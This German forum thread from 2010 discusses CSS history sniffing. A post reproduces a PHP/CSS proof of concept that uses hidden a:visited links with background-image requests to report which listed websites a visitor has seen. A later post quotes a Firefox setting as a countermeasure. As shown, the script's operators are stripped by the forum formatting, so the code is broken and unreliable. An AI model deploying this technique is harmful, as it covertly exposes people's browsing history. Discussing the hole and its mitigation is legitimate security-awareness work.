CSS History Hacks / Browser History auslesen.

#0
04.03.2010, 19:55
Member
Avatar Laserpointa

Beiträge: 2176
#1 hier haben wir das Thema gehabt, und dort ebenfalls: Browser History Stealing / Hacks.

Folgender Blog geht hierzu technisch ins Detail und beschreibt anhand von Beispielscripten, wie das ganze funktioniert und wie man es selbst bauen kann: http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html

Da dieses Sicherheitsloch schon seit Jahren besteht und kein Browser Hersteller es für notwendig sieht dieses zu stopfen, hoffe ich das sich mal jemand die Zeit nimmt, dass Safebrowsing AddOn welches dieses Loch stopft für Firefox zu updaten. ;) » Lösung siehe ein Beitrag weiter unten. ;)

Anbei ein Beispielscript basierend auf PHP und CSS von dem erwähnten Blog:
Die Demo befindet sich hier.

PHP Code


<?php
  session_start
();
 
  
header('Cache-Control: no-store, no-cache, must-revalidate'); // HTTP 1.1
  
header('Cache-Control: post-check=0, pre-check=0, false'); // HTTP 1.0
  
header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');
  
header('Pragma: no-cache');
 
  
$websites = array(
  
'http://www.google.de',
  
'http://www.ebay.de',
  
'http://www.web-tuts.de',
  
'http://www.youtube.com',
  
'http://www.myhammer.de',
  
'http://www.heise.de',
  
'http://www.t3n.de/news/',
  
'http://www.myspace.com',
  
'http://de.wikipedia.org',
  
'http://de.wikipedia.org/wiki/Buffer_Overflow',
  
'http://de.wikipedia.org/wiki/Javascript',
  
'http://www.spiegel.de',
  
'http://www.golem.de'
  
);
 
  
$c count($websites);
 
  if(empty(
$_SESSION['visited']))
      
$_SESSION['visited'] = array();
 
  if(empty(
$_SESSION['id']))
      
$_SESSION['id'] = md5(uniqid(mt_rand(), true));
 
  if(!empty(
$_SERVER['QUERY_STRING']))
  {
    
// script wurde via css background image aufgerufen
    
if(preg_match('/([a-f0-9]{32})-(\d*)/i'$_SERVER['QUERY_STRING'], $matches))
    {
        
$num $matches[2];
 
        
// wenn eintrag noch nicht vorhanden, hinzufuegen
        
if(!in_array($websites[$num], $_SESSION['visited']))
        
$_SESSION['visited'][] = $websites[$num];
    }
  }
 
  
$not_visited array_diff($websites$_SESSION['visited']);
?>
<html>
<head>
<style type="text/css">
#list { position: absolute; visibility: hidden; }
<?php
  
for($i 0$i $c$i++)
    echo 
'a:visited span.span' $i '{background:url('.basename(__FILE__).'?'.$_SESSION['id'].'-'.$i.');color:#c00;}';
?>
</style>
</head>
<body>
<div id="list">
<?php
  
for($i 0$i $c$i++)
    echo 
'<a href="'.$websites[$i].'">'.$websites[$i].'<span class="span'.$i.'"></span></a>';
?>
</div>
<ul id="visited">
<?php
  
foreach($_SESSION['visited'] as $visited)
    echo 
'<li><a href="'.$visited.'">'.$visited.'</a></li>';
?>
</ul>
<ul id="notvisited">
<?php
  
foreach($not_visited as $notvisited)
    echo 
'<li><a href="'.$notvisited.'">'.$notvisited.'</a></li>';
?>
</ul>
</body>
</html>
?>

Seitenanfang Seitenende
04.03.2010, 19:56
Member
Themenstarter
Avatar Laserpointa

Beiträge: 2176
#2 gerade in den Kommentaren gesehen, man eine Gegenmaßnahme ist folgende Einstellung in Firefox (ich habe sie noch nicht getestet!)

Zitat

In Firefox kann man unter “about:config” die Option “layout.css.visited_links_enabled” auf false setzen, dann gehen die Beispiele oben auch nicht mehr…
Greetz Lp
Seitenanfang Seitenende
Um auf dieses Thema zu ANTWORTEN
bitte erst » hier kostenlos registrieren!!

Folgende Themen könnten Dich auch interessieren: